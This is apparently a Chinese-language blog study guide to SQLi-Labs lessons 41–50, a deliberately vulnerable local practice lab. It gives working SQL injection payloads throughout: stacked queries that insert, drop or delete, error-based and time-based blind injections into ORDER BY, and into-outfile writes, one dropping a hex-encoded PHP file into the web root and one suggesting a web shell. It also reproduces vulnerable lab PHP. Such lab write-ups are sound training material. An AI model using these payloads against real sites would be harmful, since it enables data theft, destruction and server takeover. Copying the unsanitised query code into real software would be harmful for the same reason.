SQLi-Labs 学习笔记(Less 41-50)

点击打开链接

Less-41 基于错误的POST型单引号字符型注入


先打开网页查看 Welcome Dhakkan

SQLi-Labs 学习笔记(Less 41-50)_第1张图片


与之前讲的Less-40的区别:

[plain]  view plain  copy
  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  


当然,和Less-40一样,都是盲注,不会显示错误信息,不过对我们没差,构建payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(15,'jack','jack')%23  


Less-42


先打开网页查看 Welcome Dhakkan

SQLi-Labs 学习笔记(Less 41-50)_第2张图片


Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。


分析源码login.php可以知道:

[plain]  view plain  copy
  1. $username = mysqli_real_escape_string($con1, $_POST["login_user"]);  
  2. $password = $_POST["login_password"];  


password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:

[plain]  view plain  copy
  1. a';create table jack like users#  

SQLi-Labs 学习笔记(Less 41-50)_第3张图片



Less-43


与Less-42的区别在于:

[plain]  view plain  copy
  1. $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";  

payload:

[plain]  view plain  copy
  1. username:admin  
  2. password:a');drop table jack#  



Less-44


本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息,同时,我们使用同样方式的payload:

[plain]  view plain  copy
  1. username:admin  
  2. password:a';insert into users(id,username,password) values('15','jack','jack')#  



Less-45


与Less-43关的区别在于并没有报错信息,也就是基于盲注,payload:

[plain]  view plain  copy
  1. username:admin  
  2. password:a');delete from users where id=15#  



Less-46


先打开网页查看 Welcome Dhakkan

SQLi-Labs 学习笔记(Less 41-50)_第4张图片


②查看源代码:

[plain]  view plain  copy
  1.   
  2.   
  3.   
  4.   
  5. ORDER BY-Error-Numeric  
  6.   
  7.   
  8.   
  9. Welcome    Dhakkan 
      
  10.   
  11.   
  12. include("../sql-connections/sql-connect.php");  
  13. $id=$_GET['sort'];    
  14. if(isset($id))  
  15.     {  
  16.     //logging the connection parameters to a file for analysis.  
  17.     $fp=fopen('result.txt','a');  
  18.     fwrite($fp,'SORT:'.$id."\n");  
  19.     fclose($fp);  
  20.   
  21.     $sql = "SELECT * FROM users ORDER BY $id";  
  22.     $result = mysql_query($sql);  
  23.     if ($result)  
  24.         {  
  25.         ?>  
  26.         
      
  27.           
  28.           
  29.           
  30.           
  31.              ID   
  32.              USERNAME     
  33.              PASSWORD     
  34.           
  35.           
  36.           
  37.         
  38.         while ($row = mysql_fetch_assoc($result))  
  39.             {  
  40.             echo '';        
  41.             echo "";  
  42.                 echo "".$row['id']."";  
  43.                 echo "".$row['username']."";  
  44.                 echo "".$row['password']."";  
  45.             echo "";  
  46.             echo "";  
  47.             }     
  48.         echo "";  
  49.           
  50.         }  
  51.         else  
  52.         {  
  53.         echo '';  
  54.         print_r(mysql_error());  
  55.         echo "";    
  56.         }  
  57.     }     
  58.     else  
  59.     {  
  60.         echo "Please input parameter as SORT with numeric value



    ";  
  61.         echo "


    ";  
  62.         echo '
    ';  
  63.         echo "Lesson Concept and code Idea by D4rk";  
  64.     }  
  65. ?>  
  66.           
  67.           
  68.  



  
  •   
  •    
  •   
  •   

  • (本关以下纯属复制粘贴,毕竟道理都一样)

    这里涉及到order by注入的相关知识,sql语句为:
    [plain]  view plain  copy
    1. $sql = "SELECT * FROM users ORDER BY $id";  

    尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
    从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档

    SQLi-Labs 学习笔记(Less 41-50)_第5张图片

    我们可利用order by后的一些参数进行注入。首先,

    (1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort=right(version(),1)  

    没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

    此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

    ①直接添加注入语句,?sort=(select ******)

    ②利用一些函数。例如rand()函数等。?sort=rand(sql语句)


    Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的
    SQLi-Labs 学习笔记(Less 41-50)_第6张图片

    SQLi-Labs 学习笔记(Less 41-50)_第7张图片

    ③利用and,例如?sort=1 and (加sql语句)。

    同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。


    报错注入例子

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)) limit 0,1)  
    SQLi-Labs 学习笔记(Less 41-50)_第8张图片

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort=(rand(ascii(left(database(),1)))=115)  
    SQLi-Labs 学习笔记(Less 41-50)_第9张图片

    SQLi-Labs 学习笔记(Less 41-50)_第10张图片

    从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。


    延时注入例子

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as tb)  

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))  

    上述两个延时注入的例子可以很明显的看出时间的不同,这里就不贴图了,图片无法展示延时。。。

    同时也可以用?sort=1 and 后添加注入语句。这里就不一一演示了。

    1、procedure analyse参数后注入

    利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。


    以下为示范例
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)  

    2、导入导出文件into outfile参数
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "c:/data.txt"  

    那这个时候我们可以考虑上传网马,利用lines terminated by。

    Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16进制转换)



    Less-47  


    与上一关的区别在于:

    [plain]  view plain  copy
    1. $sql = "SELECT * FROM users ORDER BY '$id'";  


    将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。


    1、order by后的参数


    我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。

    ① and rand相结合的方式,payload:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-47/?sort=1' and rand(ascii(left(database(),1))=116)--+  

    SQLi-Labs 学习笔记(Less 41-50)_第11张图片


    此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。

    ②可以利用报错的方式进行

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-47/?sort=1' and (select count(*) from information_schema.columns group by concat(0x3e,0x3e,(select database()),0x3e,0x3e,floor(rand()*2)) limit 0,1)--+  

    SQLi-Labs 学习笔记(Less 41-50)_第12张图片


    这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-47/?sort=1' and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+  


    SQLi-Labs 学习笔记(Less 41-50)_第13张图片


    ③延时注入

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-47/?sort=1' and (if(ascii(substr(database(),1,1))=116,0,sleep(5)))--+  

    这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。


    2、导入导出文件into outfile参数

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-47/?sort=1' into outfile "c:/data.txt"--+  

    那这个时候我们可以考虑上传网马,利用lines terminated by。

    Into outtfile c:/1.txt lines terminated by 0x(网马进行16进制转换)


    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "c:/..../data.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+  

    此处的16进制文件为

    我们访问data.php

    SQLi-Labs 学习笔记(Less 41-50)_第14张图片


    Less-48


    这关与Less-46的区别在于没有报错信息,即盲注,payload:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-48/?sort=(if(ascii(substr(database(),1,1))=116,0,sleep(5)))  


    本关我们依旧可以用into outfile进行。


    Less-49


    这关与Less-47的区别在于没有报错信息,即盲注,payload:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-49/?sort=1' and (if(ascii(substr((select username from users limit 0,1),1,1))=69,0,sleep(1)))--+  


    Less-50

    从本关开始我们开始进行order by stacked injection!

    执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。

    这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下stacked injection。

    我们直接构造payload:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-50/?sort=1;create table jack like users#  


    前面我们已经详述stacked injection的过程,这里就不详细讲解了.


    你可能感兴趣的:(SQL注入)